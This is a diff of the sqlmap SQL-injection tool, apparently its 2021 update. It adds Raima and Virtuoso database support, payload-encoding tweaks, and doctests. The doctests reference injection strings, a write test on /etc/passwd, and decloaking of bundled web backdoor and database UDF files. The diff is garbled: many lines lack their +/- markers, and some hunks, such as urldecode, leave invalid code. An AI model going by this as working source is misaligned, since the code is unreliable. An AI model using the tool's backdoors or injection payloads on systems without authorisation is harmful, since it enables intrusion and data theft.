+        if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
            if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]):
                conf.url = re.sub(r"https?://", "https://", conf.url)
                match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
@@ -1580,7 +1600,7 @@ def checkConnection(suppressOutput=False):
        kb.originalPage = kb.pageTemplate = threadData.lastPage
        kb.originalCode = threadData.lastCode
-    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+    if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
        candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
        message = "you have not declared cookie(s), while "
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -291,7 +291,7 @@ def start():
        logger.error(errMsg)
        return False
-    if kb.targets and len(kb.targets) > 1:
+    if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
        infoMsg = "found a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)
@@ -386,7 +386,7 @@ def start():
                    message += "\nCookie: %s" % conf.cookie
                if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -452,7 +452,6 @@ def start():
                checkNullConnection()
            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
@@ -704,6 +703,12 @@ def start():
                    action()
        except KeyboardInterrupt:
            if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
                kb.multipleCtrlC = True
                raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
            kb.lastCtrlCTime = time.time()
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -33,9 +33,11 @@ from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
 from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import RAIMA_ALIASES
 from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 from plugins.dbms.access.connector import Connector as AccessConn
@@ -82,12 +84,16 @@ from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
 from plugins.dbms.postgresql import PostgreSQLMap
 from plugins.dbms.presto.connector import Connector as PrestoConn
 from plugins.dbms.presto import PrestoMap
 from plugins.dbms.raima.connector import Connector as RaimaConn
 from plugins.dbms.raima import RaimaMap
 from plugins.dbms.sqlite.connector import Connector as SQLiteConn
 from plugins.dbms.sqlite import SQLiteMap
 from plugins.dbms.sybase.connector import Connector as SybaseConn
 from plugins.dbms.sybase import SybaseMap
 from plugins.dbms.vertica.connector import Connector as VerticaConn
 from plugins.dbms.vertica import VerticaMap
 from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn
 from plugins.dbms.virtuoso import VirtuosoMap
 def setHandler():
    """
@@ -121,6 +127,8 @@ def setHandler():
        (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
        (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
        (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
        (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn),
        (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn),
    ]
    _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
--- a/lib/core/init.py
+++ b/lib/core/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BOUNDED_BASE64_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
@@ -183,7 +184,11 @@ class Agent(object):
                newValue = self.adjustLateValues(newValue)
            # TODO: support for POST_HINT
-            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
            if parameter in kb.base64Originals:
                origValue = kb.base64Originals[parameter]
            else:
                origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
@@ -191,7 +196,7 @@ class Agent(object):
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
                newValue = '"%s"' % self.addPayloadDelimiters(newValue)
-            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
+            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
                newValue = "'%s'" % self.addPayloadDelimiters(newValue)
            else:
                newValue = self.addPayloadDelimiters(newValue)
@@ -393,6 +398,10 @@ class Agent(object):
        """
        if payload:
            for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
                _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
                payload = payload.replace(match.group(0), _)
            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
            payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
@@ -462,6 +471,12 @@ class Agent(object):
        @rtype: C{str}
        """
        match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
        if match:
            field, suffix = match.groups()
        else:
            suffix = ""
        nulledCastedField = field
        if field and Backend.getIdentifiedDbms():
@@ -472,7 +487,10 @@ class Agent(object):
            else:
                if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
                    nulledCastedField = rootQuery.cast.query % field
-                if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
+
                if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
                    pass
                elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
                    nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
                else:
                    nulledCastedField = rootQuery.isnull.query % nulledCastedField
@@ -481,6 +499,12 @@ class Agent(object):
            if conf.hexConvert or kb.binaryField:
                nulledCastedField = self.hexConvertField(nulledCastedField)
        if suffix:
            nulledCastedField += suffix
        if not kb.nchar:
            nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
        return nulledCastedField
    def nullCastConcatFields(self, fields):
@@ -524,6 +548,7 @@ class Agent(object):
            nulledCastedFields = []
            for field in fieldsSplitted:
                field = re.sub(r"(?i) AS \w+\Z", "", field)         # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
                nulledCastedFields.append(self.nullAndCastField(field))
            delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
@@ -674,7 +699,7 @@ class Agent(object):
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -770,7 +795,6 @@ class Agent(object):
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
        return concatenatedQuery
    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
@@ -985,7 +1009,7 @@ class Agent(object):
        fromFrom = limitedQuery[fromIndex + 1:]
        orderBy = None
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
            limitedQuery += " %s" % limitStr
@@ -997,7 +1021,7 @@ class Agent(object):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
            limitedQuery += " %s" % limitStr
-        elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
+        elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
            if query.startswith("SELECT "):
                limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
@@ -1198,6 +1222,9 @@ class Agent(object):
    def whereQuery(self, query):
        if conf.dumpWhere and query:
            if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
                prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
            else:
                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
                if match:
                    suffix = match.group(0)
@@ -1213,7 +1240,7 @@ class Agent(object):
                prefix += " WHERE %s" % conf.dumpWhere
            query = prefix
-            if suffix:
+            if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
                query += suffix
        return query
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -9,9 +9,9 @@ from __future__ import division
 import binascii
 import codecs
 import collections
 import contextlib
 import copy
 import distutils.version
 import functools
 import getpass
 import hashlib
@@ -58,6 +58,7 @@ from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.convert import htmlUnescape
 from lib.core.convert import stdoutEncode
 from lib.core.data import cmdLineOptions
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -192,6 +193,7 @@ from thirdparty.colorama.initialise import init as coloramainit
 from thirdparty.magic import magic
 from thirdparty.odict import OrderedDict
 from thirdparty.six import unichr as _unichr
 from thirdparty.six.moves import collections_abc as _collections
 from thirdparty.six.moves import configparser as _configparser
 from thirdparty.six.moves import http_client as _http_client
 from thirdparty.six.moves import input as _input
@@ -214,7 +216,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
            fp.write("[%s]\n" % _configparser.DEFAULTSECT)
            for (key, value) in self._defaults.items():
-                fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
+                fp.write("%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
            fp.write("\n")
@@ -225,8 +227,8 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
                if key != "__name__":
                    if value is None:
                        fp.write("%s\n" % (key))
-                    else:
+                    elif not isListLike(value):
-                        fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
+                        fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
            fp.write("\n")
@@ -585,7 +587,15 @@ class Backend(object):
    @staticmethod
    def isVersionGreaterOrEqualThan(version):
-        return Backend.getVersion() is not None and str(Backend.getVersion()) >= str(version)
+        retVal = False
        if Backend.getVersion() is not None and version is not None:
            try:
                retVal = distutils.version.LooseVersion(Backend.getVersion()) >= distutils.version.LooseVersion(version)
            except:
                retVal = str(Backend.getVersion()) >= str(version)
        return retVal
    @staticmethod
    def isOs(os):
@@ -630,7 +640,8 @@ def paramToDict(place, parameters=None):
                if parameter in (conf.base64Parameter or []):
                    try:
-                        oldValue = value
+                        kb.base64Originals[parameter] = oldValue = value
                        value = urldecode(value, convall=True)
                        value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                    except:
@@ -963,12 +974,13 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
                    level = getattr(logging, level, None)
                except:
                    level = None
-                retVal = LOGGER_HANDLER.colorize(message, level)
+                retVal = LOGGER_HANDLER.colorize(message, level, True)
            else:
                match = re.search(r"\(([^)]*)\s*fork\)", message)
                if match:
                    retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
                if not any(_ in message for _ in ("Payload: ",)):
                    for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
                        retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
@@ -1047,9 +1059,20 @@ def dataToDumpFile(dumpFile, data):
            errMsg = "permission denied when flushing dump data"
            logger.error(errMsg)
        else:
-            raise
+            errMsg = "error occurred when writing dump data to file ('%s')" % getUnicode(ex)
            logger.error(errMsg)
 def dataToOutFile(filename, data):
    """
    Saves data to filename
    >>> pushValue(conf.get("filePath"))
    >>> conf.filePath = tempfile.gettempdir()
    >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
    True
    >>> conf.filePath = popValue()
    """
    retVal = None
    if data:
@@ -1248,6 +1271,8 @@ def sanitizeStr(value):
    >>> sanitizeStr('foo\\n\\rbar') == 'foo bar'
    True
    >>> sanitizeStr(None) == 'None'
    True
    """
    return getUnicode(value).replace("\n", " ").replace("\r", "")
@@ -1347,7 +1372,7 @@ def banner():
    if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
        result = BANNER
-        if not IS_TTY or "--disable-coloring" in sys.argv:
+        if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
            result = clearColors(result)
        elif IS_WIN:
            coloramainit()
@@ -1506,7 +1531,7 @@ def parseTargetDirect():
    remote = False
    for dbms in SUPPORTED_DBMS:
-        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
+        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]*)$" % dbms, conf.direct, re.I)
        if details:
            conf.dbms = details.group("dbms")
@@ -1713,6 +1738,11 @@ def escapeJsonValue(value):
    Escapes JSON value (used in payloads)
    # Reference: https://stackoverflow.com/a/16652683
    >>> "\\n" in escapeJsonValue("foo\\nbar")
    False
    >>> "\\\\t" in escapeJsonValue("foo\\tbar")
    True
    """
    retVal = ""
@@ -1732,7 +1762,7 @@ def expandAsteriskForColumns(expression):
    the SQL query string (expression)
    """
-    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
    if match:
        infoMsg = "you did not provide the fields in your query. "
@@ -1802,6 +1832,9 @@ def getLimitRange(count, plusOne=False):
 def parseUnionPage(page):
    """
    Returns resulting items from UNION query inside provided page content
    >>> parseUnionPage("%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop))
    ['foo', 'bar']
    """
    if page is None:
@@ -1887,6 +1920,12 @@ def getLocalIP():
 def getRemoteIP():
    """
    Get remote/target IP address
    >>> pushValue(conf.hostname)
    >>> conf.hostname = "localhost"
    >>> getRemoteIP() == "127.0.0.1"
    True
    >>> conf.hostname = popValue()
    """
    retVal = None
@@ -2013,6 +2052,9 @@ def normalizePath(filepath):
 def safeFilepathEncode(filepath):
    """
    Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
    >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
    True
    """
    retVal = filepath
@@ -2026,6 +2068,9 @@ def safeFilepathEncode(filepath):
 def safeExpandUser(filepath):
    """
    Patch for a Python Issue18171 (http://bugs.python.org/issue18171)
    >>> os.path.basename(__file__) in safeExpandUser(__file__)
    True
    """
    retVal = filepath
@@ -2045,6 +2090,8 @@ def safeStringFormat(format_, params):
    >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
    'SELECT foo FROM bar LIMIT 1'
    >>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
    "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
    """
    if format_.count(PAYLOAD_DELIMITER) == 2:
@@ -2088,7 +2135,10 @@ def safeStringFormat(format_, params):
                        warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
                        raise SqlmapValueException(warnMsg)
                    else:
                        try:
                            retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
                        except re.error:
                            retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
                        count += 1
                else:
                    break
@@ -2219,6 +2269,15 @@ def isHexEncodedString(subject):
 def isMultiThreadMode():
    """
    Checks if running in multi-thread(ing) mode
    >>> isMultiThreadMode()
    False
    >>> _ = lambda: time.sleep(0.1)
    >>> thread = threading.Thread(target=_)
    >>> thread.daemon = True
    >>> thread.start()
    >>> isMultiThreadMode()
    True
    """
    return threading.activeCount() > 1
@@ -2227,6 +2286,9 @@ def isMultiThreadMode():
 def getConsoleWidth(default=80):
    """
    Returns console width
    >>> any((getConsoleWidth(), True))
    True
    """
    width = None
@@ -2433,6 +2495,9 @@ def initCommonOutputs():
 def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
    """
    Returns newline delimited items contained inside file
    >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
    True
    """
    retVal = list() if not unique else OrderedDict()
@@ -2539,8 +2604,8 @@ def goGoodSamaritan(prevValue, originalCharset):
 def getPartRun(alias=True):
    """
-    Goes through call stack and finds constructs matching conf.dbmsHandler.*.
+    Goes through call stack and finds constructs matching
-    Returns it or its alias used in 'txt/common-outputs.txt'
+    conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
    """
    retVal = None
@@ -2817,17 +2882,15 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C
    True
    >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
    True
    >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
    True
    """
    result = value
    if value:
-        try:
+        value = getUnicode(value)
-            # for cases like T%C3%BCrk%C3%A7e
+
            value = str(value)
        except ValueError:
            pass
        finally:
        if convall:
            result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
        else:
@@ -2853,10 +2916,12 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
    >>> urlencode('AND 1>(2+3)#')
    'AND%201%3E%282%2B3%29%23'
-    >>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
+    >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0")
    'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
-    >>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
+    >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0")
    'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
    >>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'")
    'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27'
    """
    if conf.get("direct"):
@@ -2881,7 +2946,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
        # encoded (when not representing URL encoded char)
        # except in cases when tampering scripts are used
        if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
-            value = re.sub(r"(?<= ')%", "%25", value)   # e.g. LIKE '%DBA%'
+            value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value)
            value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
        while True:
@@ -2959,6 +3024,8 @@ def getPublicTypeMembers(type_, onlyValues=False):
    >>> [_ for _ in getPublicTypeMembers(OS, True)]
    ['Linux', 'Windows']
    >>> [_ for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True)]
    [1, 2, 3, 4, 5, 6]
    """
    retVal = []
@@ -3201,7 +3268,7 @@ def filterNone(values):
    retVal = values
-    if isinstance(values, collections.Iterable):
+    if isinstance(values, _collections.Iterable):
        retVal = [_ for _ in values if _]
    return retVal
@@ -3391,7 +3458,7 @@ def setOptimize():
    # conf.predictOutput = True
    conf.keepAlive = True
-    conf.threads = 3 if conf.threads < 3 else conf.threads
+    conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
    conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
    if not conf.nullConnection:
@@ -3492,7 +3559,7 @@ def arrayizeValue(value):
    ['1']
    """
-    if isinstance(value, collections.KeysView):
+    if isinstance(value, _collections.KeysView):
        value = [_ for _ in value]
    elif not isListLike(value):
        value = [value]
@@ -3568,7 +3635,7 @@ def isListLike(value):
    False
    """
-    return isinstance(value, (list, tuple, set, BigArray))
+    return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
 def getSortedInjectionTests():
    """
@@ -4133,7 +4200,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                    retVal = "`%s`" % retVal
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
                    retVal = "\"%s\"" % retVal
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                    retVal = "\"%s\"" % retVal.upper()
@@ -4171,7 +4238,7 @@ def unsafeSQLIdentificatorNaming(name):
    if isinstance(name, six.string_types):
        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
            retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
            retVal = name.replace("\"", "")
        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
            retVal = name.replace("\"", "").upper()
@@ -4537,7 +4604,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
            if filtered and filtered != content:
                try:
                    forms = ParseResponse(filtered, backwards_compat=False)
-                except ParseError:
+                except:
                    errMsg = "no success"
                    if raise_:
                        raise SqlmapGenericException(errMsg)
@@ -4733,7 +4800,7 @@ def serializeObject(object_):
    """
    Serializes given object
-    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
+    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
    True
    """
@@ -4940,7 +5007,7 @@ def resetCookieJar(cookieJar):
            cookieJar.load(cookieJar.filename, ignore_expires=True)
            for cookie in cookieJar:
-                if cookie.expires < time.time():
+                if getattr(cookie, "expires", MAX_INT) < time.time():
                    warnMsg = "cookie '%s' has expired" % cookie
                    singleTimeWarnMessage(warnMsg)
@@ -4963,6 +5030,14 @@ def decloakToTemp(filename):
    >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
    True
    >>> os.remove(_)
    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
    >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
    True
    >>> os.remove(_)
    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
